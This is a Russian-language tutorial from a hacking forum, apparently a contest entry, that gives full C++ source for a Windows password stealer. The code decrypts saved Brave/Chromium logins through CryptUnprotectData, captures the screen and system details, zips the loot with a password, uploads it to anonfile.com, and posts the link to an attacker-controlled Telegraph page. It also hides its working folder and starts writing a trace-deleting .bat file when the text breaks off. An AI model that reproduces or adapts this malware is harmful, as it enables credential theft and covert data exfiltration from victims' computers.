• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Simple Telegraph Stealer, C++

Делать статью про панель управления?


  • Другие смогут видеть, как Вы проголосовали.

h0peIess

RAM
Пользователь
Регистрация
04.12.2018
Сообщения
109
Реакции
117
Предупреждение
Автор не кодер, вообще в этом ничего не понимает, и вообще статья была написана исключительно в ознакомительных целях.
P.S. Сама идея была нагло украдена, но материал/код полностью авторский.
P.S.S СТАТЬЯ ДЛЯ КОНКУРСА.



Введение
Хэй, сегодня поговорим, что такое стиллер и даже напишем демоверсию, панель будет написана во второй части (если наберем много лайков xD). Что такое стиллер?

Стиллер — определенный класс троянов (малвари, вирусов как хотите), функционал которых полностью состоит из кражи сохраненных в системе паролей, прочей информации и отправке их создателю. Стиллер, пользуясь наивностью чукотских программистов, исследует хранилища часто используемых программ и нагло тырит оттуда все логины, пароли и т.п. Следующий, он же последний этап работы программ данного класса отправка вкусняшек злоумышленнику. Вот как-то так всё это и работает.

1_4cTSGgP81xiJrs7gz83geQ.jpeg

Писать мы будем на C++ (ХАРДКОР), но с использованием сторонних библиотек (например, libcurl), для того чтобы упростить задачу, вы можете переписать данную malware, используя исключительно WinApi, чтобы избавиться от лишних зависимостей. У нас будут реализованы только самые основные функции:
  • Стиллинг паролей из "всех" браузеров на Chromium
  • Получение информации о системе
  • Скриншот экрана
В чем “фишка” нашего стиллера
Обычно стиллер отправляет полученную информацию на почту, но это не очень практично/удобно, наш же стиллер будет отправлять все данные на сервер, но он не будет оформлен на вашу мать вас. Мы будем юзать Telegraph, сервис для постинга статей (в основном, используется в Telegram). Таким образом мы немного повышаем свою анонимность. Панель будет обращаться к сервису через Tor, Proxy и т.д. У Telegraph’a есть свой собственный API, что существенно упрощает нам задачу.
Untitled.png

Заголовочный файл с инклюдами
Здесь у нас подключаются все нужные нам библиотеки, пространства имен. Также здесь описываются следующие классы:
  • Config
  • Converters
В первом классе указаны нужные нам значения, такие как:
  • Рабочая директория
  • Директория для «.bat» файла (для удаления)
  • Название рабочей директории
  • Пароль для финального архива
  • Страница Telegraph, где будут находится все нужные нам ссылки (позже поясню)
  • Access Token для редактирования страницы на сайте Telegraph
Во втором же классе описаны методы, дающие нам пространство для маневром c кодировками (ASCII, Unicode)
C++:
#include <iostream>
#include <vector>
#include <fstream>
#include <string>
#include <zip.h>
#include <filesystem>
#include <Windows.h>
#include <curl/curl.h>
#include <json/json.h>
#include <gdiplus.h>
#include <intrin.h>
#include <comdef.h>
#include <libloaderapi.h>
#include <winsqlite/winsqlite3.h>
#include <ShlObj_core.h>
#include <Wbemidl.h>

#pragma comment(lib, "wbemuuid.lib")
#pragma comment(lib, "winsqlite3.lib")
#pragma comment(lib, "GdiPlus.lib")
#pragma comment(lib, "Crypt32.lib")

using namespace std;
using namespace Json;
using namespace filesystem;

#ifndef Config_HEADER
#define Config_HEADER
class Config
{
public:
    //Working Directory
    const string MainDirectory = "C:\\Users\\Public\\XSS_ONE_LOVE";

    //Bat Directory
    const string BatDirectory = "C:\\Users\\Public";

    //Folder Name
    const string FolderName = "XSS_ONE_LOVE";

    //Password for  archive
    const string ArchivePassword = "XSS_ONE_LOVE";

    //Telegraph Page
    const string TelegraphPage = "https://telegra.ph/XSS";

    //Telegraph Access Token
    const string AccessToken = "XSS_ONE_LOVE";
};
#endif

#ifndef Converters_HEADER
#define Converters_HEADER
class Converters
{
public:
    //String -> Wstring
    static wstring StringToWString(const string& str)
    {
        int size_needed{ MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), NULL, 0) };
        wstring wstrTo(size_needed, 0);
        MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), &wstrTo[0], size_needed);
        return wstrTo;
    }

    //Wstring -> String
    static string WStringToString(const wstring& str)
    {
        const locale locale("");
        typedef codecvt<wchar_t, char, mbstate_t> converter_type;
        const converter_type& converter = use_facet<converter_type>(locale);
        vector<char> to(str.length() * (size_t)converter.max_length());
        mbstate_t state;
        const wchar_t* from_next;
        char* to_next;
        const converter_type::result result = converter.out(state, str.data(), str.data() + str.length(), from_next, &to[0], &to[0] + to.size(), to_next);
        return string(&to[0], to_next);
    }

    //WString -> Const Char*
    static const char* WStringToCSTR(const wstring& str)
    {
        string temp{ Converters::WStringToString(str) };
        return temp.c_str();
    }
};
#endif
maxresdefault.jpg

Заголовочный файл для работы с WEB
Здесь описан класс Web, он имеет следующие методы/переменные:
  • EditPage, для редактирования страницы Telegraph
  • GetPage, для получения содержимого страницы Telegraph
  • UploadFile, для загрузки файла на сайт ("AnonFile")
  • GetHTML, для получения исходного кода страницы
  • Api, сайт API Telegraph'a (он не заблокирован в России, так что проблем быть не должно)
C++:
#include "Includes.h"

class Web
{
public:
    //EditPage
    string EditPage(const string& AccessToken, const string& Path, const string& Title, const string& Name, string Content);

    //GetPage
    string GetPage(const string& Path);

    //UploadFile
    string UploadFile(const string& Filename);

    //GetHTML
    string GetHTML(const string& URL);
private:
    //TelegraphAPI
    const string Api = "https://api.telegra.ph/";
};
chto_takoe_api_i_zachem_on_nuzhen.png

Файл с исходным кодом для работы с WEB
На этом моменте надо рассказать поподробнее про каждый метод:
  • WriteCallback, здесь нечего рассказывать, это обязательная функция для получения HTML в виде строки
  • EditPage:
    • Заменяем все « » на «+» (можно было сделать, используя библиотеку «algorithm»)
    • Формируем валидную ссылку для запроса на Telegraph
    • Парсим JSON, формируем ответ

  • GetPage:
    • Формируем валидную ссылку для запроса на Telegraph
    • Парсим JSON, формируем ответ
  • UploadFile | Здесь кратко рассказать не получится, если вы хотите с этим разобраться, то я вам рекомендую прочесть документацию LibCurl
  • GetHTML |
C++:
#include "Web.h"
#pragma warning(disable:4996)


//CallbackFunction
size_t WriteCallback(void* Contents, size_t Size, size_t Nmemb, void* Userp)
{
    ((string*)Userp)->append((char*)Contents, Size * Nmemb);
    return Size * Nmemb;
}

//EditPage
string Web::EditPage(const string& AccessToken, const string& Path, const string& Title, const string& Name, string Content)
{
    try
    {
        for (auto& i : Content)
            if (i == ' ')
                i = '+';

        string RequestUrl = Api + "editPage/" + Path.substr(Path.find_last_of('/') + 1) + "?access_token=" + AccessToken + "&title=" + Title + "&author_name=" + Name + "&content=[{\"tag\":\"p\",\"children\":[\"" + Content + "\"]}]&return_content=false", Html = GetHTML(RequestUrl);

        Reader Read;
        Value Json;
        Read.parse(Html, Json);

        if (Json["ok"].asString() == "true")
            return "Okay!";
        else
            return "Wrong Data!";
    }
    catch (...)
    {
        return "Error, EditPage :(";
    }
}

//GetPage
string Web::GetPage(const string& Path)
{
    try
    {
        string RequestUrl = Api + "getPage/" + Path.substr(Path.find_last_of('/') + 1) + "?return_content=true", Html = GetHTML(RequestUrl);

        Reader Read;
        Value Json;
        Read.parse(Html, Json);

        return Json["result"]["description"].asString();
    }
    catch (...)
    {
        return "Error, GetPage :(";
    }
}

//UploadFile
string Web::UploadFile(const string& Filename)
{
    try
    {
        string Result;
        CURLcode Ret;
        CURL* Hnd;
        curl_mime* Mime1;
        curl_mimepart* Part1;

        Mime1 = NULL;

        Hnd = curl_easy_init();
        curl_easy_setopt(Hnd, CURLOPT_BUFFERSIZE, 102400L);
        curl_easy_setopt(Hnd, CURLOPT_URL, "https://anonfile.com/api/upload");
        curl_easy_setopt(Hnd, CURLOPT_NOPROGRESS, 1L);
        Mime1 = curl_mime_init(Hnd);
        Part1 = curl_mime_addpart(Mime1);
        curl_mime_filedata(Part1, Filename.c_str());
        curl_mime_name(Part1, "file");
        curl_easy_setopt(Hnd, CURLOPT_MIMEPOST, Mime1);
        curl_easy_setopt(Hnd, CURLOPT_MAXREDIRS, 50L);
        curl_easy_setopt(Hnd, CURLOPT_HTTP_VERSION, (long)CURL_HTTP_VERSION_2TLS);
        curl_easy_setopt(Hnd, CURLOPT_HTTP09_ALLOWED, 1L);
        curl_easy_setopt(Hnd, CURLOPT_WRITEFUNCTION, WriteCallback);
        curl_easy_setopt(Hnd, CURLOPT_WRITEDATA, &Result);
        curl_easy_setopt(Hnd, CURLOPT_TCP_KEEPALIVE, 1L);

        Ret = curl_easy_perform(Hnd);

        curl_easy_cleanup(Hnd);
        Hnd = NULL;
        curl_mime_free(Mime1);
        Mime1 = NULL;

        Reader Read;
        Value Json;

        Read.parse(Result, Json);

        return Json["data"]["file"]["url"]["full"].asString();
    }
    catch (...)
    {
        return "Error, UploadFile :(";
    }
}

//GetHTML
string Web::GetHTML(const string& URL)
{
    try
    {
        string result;
        CURLcode ret;
        CURL* hnd;

        hnd = curl_easy_init();
        curl_easy_setopt(hnd, CURLOPT_BUFFERSIZE, 102400L);
        curl_easy_setopt(hnd, CURLOPT_URL, URL.c_str());
        curl_easy_setopt(hnd, CURLOPT_MAXREDIRS, 50L);
        curl_easy_setopt(hnd, CURLOPT_HTTP_VERSION, (long)CURL_HTTP_VERSION_2TLS);
        curl_easy_setopt(hnd, CURLOPT_HTTP09_ALLOWED, 1L);
        curl_easy_setopt(hnd, CURLOPT_WRITEFUNCTION, WriteCallback);
        curl_easy_setopt(hnd, CURLOPT_WRITEDATA, &result);
        curl_easy_setopt(hnd, CURLOPT_TCP_KEEPALIVE, 1L);
        ret = curl_easy_perform(hnd);

        curl_easy_cleanup(hnd);
        hnd = NULL;

        return result;
    }
    catch (...)
    {
        return "Error, HTML :(";
    }
}
learn-web-development-840x560.jpg

Заголовочный файл для работы с архивами
Здесь у нас создается объект класса Config, класс Zipper. В этом классе мы проходимся по каждому файлу в нашей директории и добавляем его в наш архив (попутно удаляя), также мы используем шифрование (AES-256) с ключом из конфига.
C++:
#include "Includes.h"

Config ZIP_Config;

class Zipper
{
public:
    //ZIP
    static void Pack()
    {
        int files = 0;
        string FileName = ZIP_Config.MainDirectory + "\\Data.zip";
        for (const auto& aut : directory_iterator(ZIP_Config.MainDirectory))
        {
            zip* archive = zip_open(FileName.c_str(), ZIP_CREATE, nullptr);
            zip_source* source = zip_source_file(archive, aut.path().string().c_str(), 0, 0);
            int index = (int)zip_file_add(archive, aut.path().filename().string().c_str(), source, ZIP_FL_OVERWRITE);
            zip_file_set_encryption(archive, files, ZIP_EM_AES_256, ZIP_Config.ArchivePassword.c_str());
            zip_close(archive);
            DeleteFile(aut.path().wstring().c_str());
            files++;
        }
    }
};
password-protect-zip-file.png

Заголовочный файл для «выкачки» паролей из браузеров на основе Chromium
Тут у нас создается класс Chrome_Based_Browser, в котором мы имеем следующее:
  • Get_Chrome_Based_Passwords, функция для «выкачки» паролей
  • Chrome_Based_Fill_Secret_File, формирование/заполнение файла с полученными данными
  • Chrome_Based_Process_Row, обработка строки из БД
C++:
#include "Includes.h"
#pragma warning(disable:4996)

class Chrome_Based_Browser
{
public:
    //Save ChromeBased Passwords
    static void Get_Chrome_Based_Passwords();
private:

    //Save Passwords
    static int Chrome_Based_Fill_Secret_File(char* url, char* username, unsigned char* password);

    //Process Row DB
    static int __stdcall Chrome_Based_Process_Row(void* passed_db, int argc, char** argv, char** col_name);
};
SQLite370.svg.png

Файл с исходным кодом для «выкачки» паролей из браузеров на основе Chromium
Сейчас будет мясо жарко. Дальше про создаваемые объекты класса говорить не буду... Во-первых, у нас тут имеется «region» с нужными нам переменными:
  • TEMP_DB_PATH название БД
  • USER_DATA_QUERY SQL запрос к БД, для получения необходимой инфы
  • ROW_ID_COUNT количество строк
  • row_id номер строки в БД
  • file_with_secrets файл, где мы будем сохранять пароли
  • Chrome_Based_Browsers вектор с названиями браузеров
  • Paths_To_Chrome_Based_Browsers директории браузеров до БД с нужными нам данными
Следом у нас идет основной метод, эта функция осуществляет проход по каждому из браузеров, генерирует имя выходного файла, получает директорию, где находится нужная БД, копирует ее (чтобы избежать ошибки при работающем браузере), запускает нужную нам команду (SQL). Chrome_Based_Fill_Secret_File выгружает, дешифрует данные и передает их в функцию для сохранения данных в файл.
C++:
#include "Chrome_Based.h"

Config BrowserConfig;

#pragma region Variables
//Temporary DB Path
#define TEMP_DB_PATH          "tmp"

//SQL Request
#define USER_DATA_QUERY       "SELECT ORIGIN_URL,USERNAME_VALUE,PASSWORD_VALUE FROM LOGINS"

//Number Of Rows
#define ROW_ID_COUNT        100

//Starting Row
int row_id = 1;

//File
FILE* file_with_secrets;

//Name Of Browsers
vector<string> Chrome_Based_Browsers = { "Brave" };

//Browsers' Paths
vector<string> Paths_To_Chrome_Based_Browsers = { "\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data" };
#pragma endregion

//Save ChromeBased Passwords
void Chrome_Based_Browser::Get_Chrome_Based_Passwords()
{
    for (int temp = 0; temp < Chrome_Based_Browsers.size(); ++temp)
    {
        try
        {
            string Save_File = BrowserConfig.MainDirectory + '\\' + Chrome_Based_Browsers[temp] + "_Passwords.log";
            TCHAR original_db_location[MAX_PATH];
            sqlite3* logindata_database = { NULL };
            char* err_msg = { NULL };
            int result;

            memset(original_db_location, 0, MAX_PATH);

            SUCCEEDED(SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, original_db_location));
       
            lstrcat(original_db_location, Converters::StringToWString(Paths_To_Chrome_Based_Browsers[temp]).c_str());

            result = CopyFile(original_db_location, TEXT(TEMP_DB_PATH), FALSE);

            result = sqlite3_open_v2(TEMP_DB_PATH, &logindata_database, SQLITE_OPEN_READONLY, NULL);

            file_with_secrets = fopen(Save_File.c_str(), "w+");

            result = sqlite3_exec(logindata_database, USER_DATA_QUERY, Chrome_Based_Process_Row, logindata_database, &err_msg);

            sqlite3_free(err_msg);
            fclose(file_with_secrets);
            sqlite3_close(logindata_database);
            DeleteFile(TEXT(TEMP_DB_PATH));
            row_id = 1;
        }
        catch (...) {}
    }
}

//Save Passwords
int Chrome_Based_Browser::Chrome_Based_Fill_Secret_File(char* url, char* username, unsigned char* password)
{
    fputs("URL: ", file_with_secrets);
    fputs(url, file_with_secrets);
    fputs("\nLOGIN: ", file_with_secrets);
    fputs(username, file_with_secrets);
    fputs("\nPASSWORD: ", file_with_secrets);
    fputs((const char*)password, file_with_secrets);
    fputs("\n\n", file_with_secrets);

    if (ferror(file_with_secrets))
    {
        return 1;
    }

    return 0;
}

//Process Row DB
int __stdcall Chrome_Based_Browser::Chrome_Based_Process_Row(void* passed_db, int argc, char** argv, char** col_name)
{
    DATA_BLOB encrypted_password;
    DATA_BLOB decrypted_password;
    sqlite3_blob* blob = { NULL };
    sqlite3* db = { (sqlite3*)passed_db };
    BYTE* blob_data = { NULL };

    unsigned char* password_array = { NULL };
    int result;
    int blob_size;
    int i;

    while (sqlite3_blob_open(db, "main", "logins", "password_value", row_id++, 0, &blob) != SQLITE_OK && row_id <= ROW_ID_COUNT);

    blob_size = sqlite3_blob_bytes(blob);

    blob_data = (BYTE*)malloc(blob_size);

    result = sqlite3_blob_read(blob, blob_data, blob_size, 0);

    encrypted_password.pbData = blob_data;
    encrypted_password.cbData = blob_size;

    CryptUnprotectData(&encrypted_password, NULL, NULL, NULL, NULL, 0, &decrypted_password);

    password_array = (BYTE*)malloc(decrypted_password.cbData + 1);

    memset(password_array, 0, decrypted_password.cbData);

    for (i = 0; i < decrypted_password.cbData; i++)
    {
        password_array[i] = (unsigned char)decrypted_password.pbData[i];
    }

    password_array[i] = '\0';

    result = Chrome_Based_Fill_Secret_File(argv[0], argv[1], password_array);

    free(password_array);
    sqlite3_blob_close(blob);
    sqlite3_close(db);
    return 0;
}
5_password-best-practices_unique-passwords_authentication-100768646-large.jpg

Заголовочный файл для дополнительных функций
В этом файле у нас хранится информация о нужных нам методах:
  • Screenshot скриншот
  • OSInfo получение информации о системе, функция использует оставшиеся методы
  • GetRam получение количества оперативной памяти
  • GetCPU получение информации об установленном в ПК процессоре
  • GetGPU получение информации об установленной в ПК видеокарте
  • GetOSVersion получение информации об установленной операционной системе
C++:
#include "Includes.h"
#pragma warning(disable:4996)

class Additional_Functions
{
public:
    //Take Screenshot
    static void Screenshot();

    //Get System Information
    static void OSInfo();
private:

    //Get Ram (GB)
    static long int GetRam();

    //Get CPU
    static string GetCPU();

    //Get GPU
    static string GetGPU();

    //Get Version Of Installed OS
    static string GetOSVersion();
};
jpeg_56.jpg

Файл с исходным кодом для дополнительных функций
В начале файла описываются нужные переменные (все подписано).
  • Screenshot
    • Генерируем имя файла
    • Запускаем GdiPlus
    • Извлекаем дескриптор дисплейного контекста устройства
    • Извлекаем разрешение экрана
    • Создаем точечный рисунок, совместимый с устройством
    • Сохраняем рисунок, очищаем память

  • OSInfo, здесь все просто
  • GetCPU, переписывать MSDN не хочу, поэтому четкого объяснения не дам, примите этот метод как факт :D
  • GetGPU, тоже самое, что и с процессором
  • GetRam, GetPhysicallyInstalledSystemMemory возвращает количество оперативной памяти в килобайтах, мы это преобразуем в нормальный вид
  • GetOSVersion, сложно, исходя из определенных особенностей каждой версии Windows мы можем получить точную информацию об установленной OS
C++:
#include "Additional_Functions.h"

Config Additional_Config;

//Needy For Screenshort
static const GUID png = { 0x557cf406, 0x1a04, 0x11d3, { 0x9a, 0x73, 0x00, 0x00, 0xf8, 0x1e, 0xf3, 0x2e } };

//Needy To Detect OS
typedef void (WINAPI* PGNSI)(LPSYSTEM_INFO);
typedef BOOL(WINAPI* PGPI)(DWORD, DWORD, DWORD, DWORD, PDWORD);

//Take Screenshot
void Additional_Functions::Screenshot()
{
    try
    {
        wstring PathToFile = Converters::StringToWString(Additional_Config.MainDirectory + "\\Screenshot.jpg");
        Gdiplus::GdiplusStartupInput gdiplusStartupInput;
        ULONG_PTR gdiplusToken;
        GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);

        HDC scrdc, memdc;
        HBITMAP membit;
        scrdc = GetDC(0);
        int Height, Width;
        Height = GetSystemMetrics(SM_CYSCREEN);
        Width = GetSystemMetrics(SM_CXSCREEN);
        memdc = CreateCompatibleDC(scrdc);
        membit = CreateCompatibleBitmap(scrdc, Width, Height);
        SelectObject(memdc, membit);
        BitBlt(memdc, 0, 0, Width, Height, scrdc, 0, 0, SRCCOPY);
        HBITMAP hBitmap;
        hBitmap = (HBITMAP)SelectObject(memdc, membit);
        Gdiplus::Bitmap bitmap(hBitmap, NULL);
        bitmap.Save(PathToFile.c_str(), &png);

        DeleteObject(hBitmap);
    }
    catch (...) {}
}

//Get System Information
void Additional_Functions::OSInfo()
{
    try
    {
        ofstream file(Additional_Config.MainDirectory + "\\OS.log");
        file << "CPU: " + GetCPU();
        file << "\nGPU: " + GetGPU();
        file << "\nRam: " + to_string(GetRam()) + " GB";
        file << "\nOS: " + GetOSVersion();
        file.close();
    }
    catch (...) {}
}

//Get CPU
string Additional_Functions::GetCPU()
{
    int CPUInfo[4] = { -1 };
    __cpuid(CPUInfo, 0x80000000);
    unsigned int nExIds = CPUInfo[0];

    char CPUBrandString[0x40] = { 0 };
    for (unsigned int i = 0x80000000; i <= nExIds; ++i)
    {
        __cpuid(CPUInfo, i);

        if (i == 0x80000002)
        {
            memcpy(CPUBrandString,
                CPUInfo,
                sizeof(CPUInfo));
        }
        else if (i == 0x80000003)
        {
            memcpy(CPUBrandString + 16,
                CPUInfo,
                sizeof(CPUInfo));
        }
        else if (i == 0x80000004)
        {
            memcpy(CPUBrandString + 32, CPUInfo, sizeof(CPUInfo));
        }
    }
    return CPUBrandString;
}

//Get GPU
string Additional_Functions::GetGPU()
{
    string Result;
    HRESULT hres;
    hres = CoInitializeEx(0, COINIT_MULTITHREADED);
    if (FAILED(hres)) return 0;
    hres = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);
    if (FAILED(hres)) { CoUninitialize(); return 0; }
    IWbemLocator* pLoc = NULL;
    hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);
    if (FAILED(hres)) { CoUninitialize(); return 0; }
    IWbemServices* pSvc = NULL;
    hres = pLoc->ConnectServer(_bstr_t(L"root\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc);
    if (FAILED(hres)) { pLoc->Release(); CoUninitialize(); return 0; }
    hres = CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);
    if (FAILED(hres)) { pSvc->Release(); pLoc->Release(); CoUninitialize(); return 0; }
    IEnumWbemClassObject* pEnumerator = NULL;
    hres = pSvc->ExecQuery(bstr_t("WQL"),
        bstr_t("SELECT * FROM Win32_VideoController"),
        WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator);
    if (FAILED(hres)) { pSvc->Release(); pLoc->Release(); CoUninitialize(); return 0; }
    IWbemClassObject* pclsObj = (IWbemClassObject*)malloc(sizeof(IWbemClassObject));

    ULONG uReturn = 0;
    bool passed = false;
    while (pEnumerator)
    {
        HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
        if (0 == uReturn)break;
        VARIANT vtProp;
        hr = pclsObj->Get(L"Caption", 0, &vtProp, 0, 0);
        std::wstring wGpuName = vtProp.bstrVal;
        int size_needed = WideCharToMultiByte(CP_UTF8, 0, &wGpuName[0], (int)wGpuName.size(), NULL, 0, NULL, NULL);
        std::string strTo(size_needed, 0);
        WideCharToMultiByte(CP_UTF8, 0, &wGpuName[0], (int)wGpuName.size(), &strTo[0], size_needed, NULL, NULL);
        Result = strTo;
        passed = true;
        VariantClear(&vtProp);
    }
    pSvc->Release();
    pLoc->Release();
    pEnumerator->Release();
    pclsObj->Release();
    CoUninitialize();
    return Result;
}

//Get Ram (GB)
long int Additional_Functions::GetRam()
{
    unsigned long long ram_size;
    GetPhysicallyInstalledSystemMemory(&ram_size);
    return ram_size / 1000000;
}

//Get Version Of Installed OS
string Additional_Functions::GetOSVersion()
{
    OSVERSIONINFOEXA osvi;
    SYSTEM_INFO si;
    BOOL bOsVersionInfoEx;
    DWORD dwType; ZeroMemory(&si, sizeof(SYSTEM_INFO));
    ZeroMemory(&osvi, sizeof(OSVERSIONINFOEXA));
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXA);
    bOsVersionInfoEx = GetVersionExA((OSVERSIONINFOA*)&osvi);

    PGNSI pGNSI = (PGNSI)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "GetNativeSystemInfo");
    if (NULL != pGNSI)
        pGNSI(&si);
    else GetSystemInfo(&si);
    if (VER_PLATFORM_WIN32_NT != osvi.dwPlatformId || osvi.dwMajorVersion <= 4) {
        return false;
    } stringstream os;
    os << "Microsoft ";
    {
        if (osvi.dwMinorVersion == 0)
        {
            if (osvi.wProductType == VER_NT_WORKSTATION)
                os << "Windows Vista ";
            else os << "Windows Server 2008 ";
        }  if (osvi.dwMinorVersion == 1)
        {
            if (osvi.wProductType == VER_NT_WORKSTATION)
                os << "Windows 7 ";
            else os << "Windows Server 2008 R2 ";
        }  PGPI pGPI = (PGPI)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "GetProductInfo");
        pGPI(osvi.dwMajorVersion, osvi.dwMinorVersion, 0, 0, &dwType);  switch (dwType)
        {
        case PRODUCT_ULTIMATE:
            os << "Ultimate Edition ";
            break;
        case PRODUCT_PROFESSIONAL:
            os << "Professional ";
            break;
        case PRODUCT_HOME_PREMIUM:
            os << "Home Premium Edition ";
            break;
        case PRODUCT_HOME_BASIC:
            os << "Home Basic Edition ";
            break;
        case PRODUCT_ENTERPRISE:
            os << "Enterprise Edition ";
            break;
        case PRODUCT_BUSINESS:
            os << "Business Edition ";
            break;
        case PRODUCT_STARTER:
            os << "Starter Edition ";
            break;
        case PRODUCT_CLUSTER_SERVER:
            os << "Cluster Server Edition ";
            break;
        case PRODUCT_DATACENTER_SERVER:
            os << "Datacenter Edition ";
            break;
        case PRODUCT_DATACENTER_SERVER_CORE:
            os << "Datacenter Edition (core installation) ";
            break;
        case PRODUCT_ENTERPRISE_SERVER:
            os << "Enterprise Edition ";
            break;
        case PRODUCT_ENTERPRISE_SERVER_CORE:
            os << "Enterprise Edition (core installation) ";
            break;
        case PRODUCT_ENTERPRISE_SERVER_IA64:
            os << "Enterprise Edition for Itanium-based Systems ";
            break;
        case PRODUCT_SMALLBUSINESS_SERVER:
            os << "Small Business Server ";
            break;
        case PRODUCT_SMALLBUSINESS_SERVER_PREMIUM:
            os << "Small Business Server Premium Edition ";
            break;
        case PRODUCT_STANDARD_SERVER:
            os << "Standard Edition ";
            break;
        case PRODUCT_STANDARD_SERVER_CORE:
            os << "Standard Edition (core installation) ";
            break;
        case PRODUCT_WEB_SERVER:
            os << "Web Server Edition ";
            break;
        }
    } if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
    {
        if (GetSystemMetrics(SM_SERVERR2))
            os << "Windows Server 2003 R2, ";
        else if (osvi.wSuiteMask & VER_SUITE_STORAGE_SERVER)
            os << "Windows Storage Server 2003";
        else if (osvi.wSuiteMask & VER_SUITE_WH_SERVER)
            os << "Windows Home Server";
        else if (osvi.wProductType == VER_NT_WORKSTATION &&
            si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
        {
            os << "Windows XP Professional x64 Edition";
        }
        else os << "Windows Server 2003, ";
        if (osvi.wProductType != VER_NT_WORKSTATION)
        {
            if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64)
            {
                if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
                    os << "Datacenter Edition for Itanium-based Systems";
                else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
                    os << "Enterprise Edition for Itanium-based Systems";
            }
            else if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
            {
                if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
                    os << "Datacenter x64 Edition";
                else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
                    os << "Enterprise x64 Edition";
                else os << "Standard x64 Edition";
            }
            else
            {
                if (osvi.wSuiteMask & VER_SUITE_COMPUTE_SERVER)
                    os << "Compute Cluster Edition";
                else if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
                    os << "Datacenter Edition";
                else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
                    os << "Enterprise Edition";
                else if (osvi.wSuiteMask & VER_SUITE_BLADE)
                    os << "Web Edition";
                else os << "Standard Edition";
            }
        }
    } if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
    {
        os << "Windows XP ";
        if (osvi.wSuiteMask & VER_SUITE_PERSONAL)
            os << "Home Edition";
        else os << "Professional";
    } if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
    {
        os << "Windows 2000 ";  if (osvi.wProductType == VER_NT_WORKSTATION)
        {
            os << "Professional";
        }
        else
        {
            if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
                os << "Datacenter Server";
            else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
                os << "Advanced Server";
            else os << "Server";
        }
    } if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 2) {
        if (osvi.wProductType != VER_NT_WORKSTATION)
            os << "Server 2012";
        else
            os << "Windows 8";
        if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
            os << " x64 Edition";

    }if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 3) {
        if (osvi.wProductType != VER_NT_WORKSTATION)
            os << "Server 2012 R2";
        else
            os << "Windows 8.1";

        if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
            os << " x64 Edition";
    }if (osvi.dwMajorVersion == 10 && osvi.dwMinorVersion == 0) {
        if (osvi.wProductType != VER_NT_WORKSTATION)
            os << "Windows Server 2016 Technical Preview";
        else
            os << "Windows 10";

        if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
            os << " x64 Edition";
    }
    return os.str();
}
msdn.png

Основной файл с исходным кодом
По пунктам:
  • Во-первых, мы получаем полный путь до исполняемого файла
  • Создаем основную/рабочую директорию
  • Устанавливаем нужные аттрибуты
  • Задачем рабочую директорию как текущую
  • Сохраняем пароли, получаем информацию о системе, делаем скриншот
  • Пакуем это все в архив, получаем текущие данные на странице Telegraph, загружаем архив на наш «анонимный сайт»
  • Редактируем страницу, добавляя нашу ссылку на скачивание файла
  • В конце мы создаем «.bat» файл, для удаления всех наших следов
C++:
#include "Chrome_Based.h"
#include "Web.h"
#include "Additional_Functions.h"
#include "Zipper.h"

Config Main_Config;
Web Web_Main;

int main()
{
    wchar_t Filename[MAX_PATH];
    GetModuleFileName(NULL, Filename, MAX_PATH);
    CreateDirectory(Converters::StringToWString(Main_Config.MainDirectory).c_str(), NULL);
    SetFileAttributes(Converters::StringToWString(Main_Config.MainDirectory).c_str(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
    SetCurrentDirectory(Converters::StringToWString(Main_Config.MainDirectory).c_str());

    Chrome_Based_Browser::Get_Chrome_Based_Passwords();
    Additional_Functions::OSInfo();
    Additional_Functions::Screenshot();

    Zipper::Pack();

    string PreviousData = Web_Main.GetPage(Main_Config.TelegraphPage), FileUrl = Web_Main.UploadFile("Data.zip");
    Web_Main.EditPage(Main_Config.AccessToken, Main_Config.TelegraphPage, "XSS_ONE_LOVE", "XSS_ONE_LOVE", PreviousData + " | " + FileUrl);

    ofstream DeleteBat(Main_Config.BatDirectory + "\\temp.bat");
